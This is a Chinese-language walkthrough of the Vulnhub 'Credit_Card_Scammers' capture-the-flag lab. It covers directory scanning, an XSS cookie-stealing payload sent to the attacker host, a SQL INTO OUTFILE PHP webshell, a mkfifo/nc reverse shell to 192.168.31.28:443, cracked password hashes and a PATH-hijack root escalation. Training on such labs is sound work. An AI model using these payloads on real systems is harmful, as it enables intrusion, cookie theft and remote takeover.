Vulnhub之Credit_Card_Scammers靶场渗透
前言
一次“夺旗”练习,涵盖了许多不同的技巧。
背后的故事:骗子正在利用人们,各种假冒购物网站已经建立起来,但人们发现他们的订单从未到达。我们发现了一个诈骗网站,我们认为该网站正在从受害者那里获取信用卡信息。您的目标是通过获得root访问权来删除欺诈网站,并识别其服务器上的3个标志。我们的情报显示,骗子正在积极审查所有订单,以便快速利用信用卡信息。(本次靶场涵盖了SQL写入恶意文件漏洞配合远程命令执行、XSS漏洞)
靶场环境
kali: 192.168.31.28
Credit_Card_Scammers: 192.168.31.119
靶机环境下载链接:https://www.vulnhub.com/entry/credit-card-scammers-1,479/
环境搭建
首先导入我们的虚拟机,我们这里使用的virtualbox搭建的,首先点击管理,点击导入虚拟电脑,,选择你下载的靶机,导入后修改网络设置(这里方便演示我使用了桥接),导入后开启虚拟机,出现一个登陆界面说明成功
靶机渗透
nmap 192.168.31.0/24 //查找存活主机
查看到有一个主机192.168.31.119存活,进行详细扫描检测
nmap 192.168.31.119 -sT -O //查看主机端口信息及操作系统和版本
发现靶机开放了22 80 443 端口,但是9090是被关闭了,不清楚是否有用处,暂时放一边,我们先尝试用80去访问,22和443说不定后面还有用,也是先放一边。访问到网页发现是一个医疗用品销售网站,还发现了一个buynow.php页面,然后就没有其他的了
毫无头绪的时候,使用目录扫描工具进行检测,意外发现了一个后台登录点
python dirsearch.py -u http://192.168.31.119/ -e*
查看后台登录页面,但是要账号密码登录,弱口令爆破不现实,采取其他方法尝试,这里看到框,想到xss,尝试xss测试是否有漏洞(http://dnslog.cn)
"<script src="http://stgw1q.dnslog.cn">alert('xss')</script>" //用dnslog.cn测试是否存在漏洞,dnslog.cn有回显说明有漏洞
构造xss获取index.html访问使用的cookie
"<script src="http://192.168.31.28/index.html"></script>"
"<script>new Image().src="http://192.168.31.28/?co="+document.cookie;</script>"
此处的ip是kali的ip,注意所有框都要插入代码,提交查询前要在kali开启apache2,提交后查看kali中的apache2日志
cat /var/log/apache2/access.log
拿到cookie,去index.html,打开开发者工具(F12),将获取到的cookie替换掉原来的cookie,再访问http://192.168.31.119/_admin/dist就是进入后台了
查看后台有没有什么注入点,找了半天就只有这个框,下面显示说可以执行SQL命令
但是执行了一堆SQL命令没啥用,没有任何回显,决定尝试一下写入文件,不执行不知道,一执行吓一跳,发现可以利用SQL写入任意文件,代码如下:
select "<?php system($_GET['cmd']);?>" into outfile "/var/www/html/shell.php"
//写入一个可以执行系统命令的system函数,参数为cmd,传参方式为GET
写入之后尝试访问shell.php查看是否写入成功
既然已经可以配合命令执行,我们直接写入一句话木马,蚁剑连接靶机后台拿到webshell
echo '<?php @eval($_POST["cmd"]);?>' > cmd.php
蚁剑连接成功,尝试nc连接,但是发现nc连接不了,执行不同的nc连接命令都不行
最后我想到一个连接方法,就是利用在/var/www/html下新建一个php文件,使用一开始nmap检测到的443端口作为nc监听的端口,在tmp建立一个临时文件作为连接文件
<?php system("mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.28 443 >/tmp/f");?>
写入且保存成功后,kali开启监听443端口,然后我也访问新建的php,我的是66.php,所以我直接访问http://192.168.31.28/66.php,发现反弹成功
尝试sudo -l 查看是否可以不需要密码的登录,发现sudo -l也是无济于事
查看/home,一般情况用户的目录都会在/home下,所以我们找到home目录,查看有什么可用的用户存在,在此发现了两个用户,一个是admin,一个是moneygrabber
四处逛了逛发现没有什么存储密码的地方,矛头指向了数据库,在settings中看到了数据库配置文件config.php,给了账号密码,直接连接mysql,但是我这里有个bug,数据库一直连接不上,只能采用别人找到的用户和密钥。
admin:$2y$12$A4jgwtWB73.TAMIeplx0T.5oG/mnHR1gTDa8cmtTIvW3zTjdSjdjC
moneygrabber:$2y$12$EX/FDsztTMwftzPRyY8gFuM7ZjAphQRZs88qpZpmboRogOAOYXowC
注:这里使用john --show pass.txt前必须先用john pass.txt爆破,如果显示了三串代码提示说是编码UTF-8,说明密钥的哈希值已经存在,直接就--show
将这两个用户和密钥,编写一个txt文本,随后使用john进行识别密码
john --show pass.txt
发现是hash加密的密文
拿到密码直接去切换用户,su moneygrabber 密码是 delta1
cd ~ 到主目录,查看ls -l 发现了两个文件,一个是flag,另一个是backup.sh,查看是一个执行tar的文件(cat backup.sh)
使用find / -perm -4000 2>/dev/null 查看可执行权限,发现有一个/usr/bin/backup的可执行权限,我们可以尝试用它来提权
strings /usr/bin/backup //strings命令在对象文件或二进制文件中查找可打印的字符串
由于在backup.sh中没有标明可执行的文件路径,也就是tar的路径,所以我们可以将他修改为我们想让他取得命令执行路径,这里将命令执行路径修改为 /tmp ,然后我们在主目录执行backup.sh(./backup.sh),执行脚本后会在主目录下形成一个文件,mysql.tar,但是他还需要新建一个tar文件,所以这里会报错
修改命令执行的路径
echo $PATH //查看当前命令执行路径
export PATH=/tmp //将命令执行路径修改为/tmp
此处是在/tmp下新建一个tar文件,因为.backup.sh需要有一个tar文件来写入
cd /tmp //进入/tmp目录
/usr/bin/echo '/bin/bash' > tar //使用/usr/bin/echo执行将/bin/bash写入tar文件
/usr/bin/ls //查看是否生成成功
/usr/bin/chmod 777 tar //把tar权限改为777(所有用户可读写执行)
/usr/bin/backup //调用./backup.sh
/usr/bin/id //查看是否提权成功
到此就提权成功
Vulnhub之Credit_Card_Scammers靶场渗透的更多相关文章
- VulnHub靶场渗透之:Gigachad
环境搭建 VulnHub是一个丰富的实战靶场集合,里面有许多有趣的实战靶机. 本次靶机介绍: http://www.vulnhub.com/entry/gigachad-1,657/ 下载靶机ova文 ...
- Vulnhub靶场渗透练习(三) bulldog
拿到靶场后先对ip进行扫描 获取ip 和端口 针对项目路径爆破 获取两个有用文件 http://192.168.18.144/dev/ dev,admin 更具dev 发现他们用到框架和语言 找到一 ...
- Vulnhub靶场渗透练习(二) Billu_b0x
运行虚拟机直接上nmap扫描 获取靶场ip nmap 192.168.18.* 开放端口 TCP 22 SSH OpenSSH 5.9p1 TCP 80 HTTP Apache httpd 2.2.2 ...
- Vulnhub靶场渗透练习(一) Breach1.0
打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...
- Vulnhub靶场渗透练习(五) Lazysysadmin
第一步扫描ip nmap 192.168.18.* 获取ip 192.168.18.147 扫描端口 root@kali:~# masscan - --rate= Starting massc ...
- Vulnhub靶场渗透练习(四) Acid
利用namp 先进行扫描获取ip nmap 192.168.18.* 获取ip 没发现80端口 主机存活 猜测可以是个2000以后的端口 nmap -p1-65533 192.168.18.14 ...
- 靶场渗透CH4INRULZ_v1.0.1
最新文章见我个人博客:点此 靶机环境下载地址:[下载] ova下载下来后直接导入virtualbox即可(https://www.vulnhub.com/entry/ch4inrulz-101,247 ...
- vulnhub靶机Tr0ll:1渗透笔记
Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...
- vulnhub靶机djinn:1渗透笔记
djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...
- webug3.0靶场渗透基础Day_1
第一关: 最简单的get注入 单引号报错 http://192.168.129.136/pentest/test/sqli/sqltamp.php?gid=1' order by 5 --+ ...
随机推荐
- aws-cli命令-ec2实例相关的操作
aws上可以使用aws-cli的方式管理实例,记录一些常用的操作 1.启动.关闭.终止实例(目前笔者发现只能通过指定实例ID进行管理) # 启动/关闭/重启 指定的实例 aws ec2 start-i ...
- java中的自动拆装箱与缓存(Java核心技术阅读笔记)
最近在读<深入理解java核心技术>,对于里面比较重要的知识点做一个记录! 众所周知,Java是一个面向对象的语言,而java中的基本数据类型却不是面向对象的!为了解决这个问题,Java为 ...
- BinaryBombs(二进制炸弹实验)
实验介绍 使用所学知识拆除Binary Bombs来增强对程序的机器级表示.汇编语言.调试器和逆向工程等理解. Binary Bombs(二进制炸弹)是一个可执行程序,是C语言编译链接成的,包含pha ...
- 云计算_Apache CloudStack
注:基于系统版本CentOS 7.2.1511部署 修改主机名/IP地址/hosts解析 hostnamectl set-hostname centos1 hostnamectl set-hostna ...
- go-zero docker-compose 搭建课件服务(一):编写服务api和proto
0.转载 go-zero docker-compose 搭建课件服务(一):编写服务api和proto 0.1源码地址 https://github.com/liuyuede123/go-zero-c ...
- html页面跳转方式
js里的方法 第一种: window.location.href = XXXX; 第二种: window.setTimeout("javascript:location.href='xxxx ...
- Java开发学习(三十九)----SpringBoot整合mybatis
一.回顾Spring整合Mybatis Spring 整合 Mybatis 需要定义很多配置类 SpringConfig 配置类 导入 JdbcConfig 配置类 导入 MybatisConfig ...
- golang中的错误处理
0.1.索引 https://waterflow.link/articles/1666716727236 1.panic 当我们执行panic的时候会结束下面的流程: package main imp ...
- Flask框架:如何运用Ajax轮询动态绘图
摘要:Ajax是异步JavaScript和XML可用于前后端交互. 本文分享自华为云社区<Flask框架:运用Ajax轮询动态绘图>,作者:LyShark. Ajax是异步JavaScri ...
- Stream流使用
Stream流的使用 转换为流的操作 map转换为stream流 Map map = new HashMap(); Set<Map.Entry<String,Integer>> ...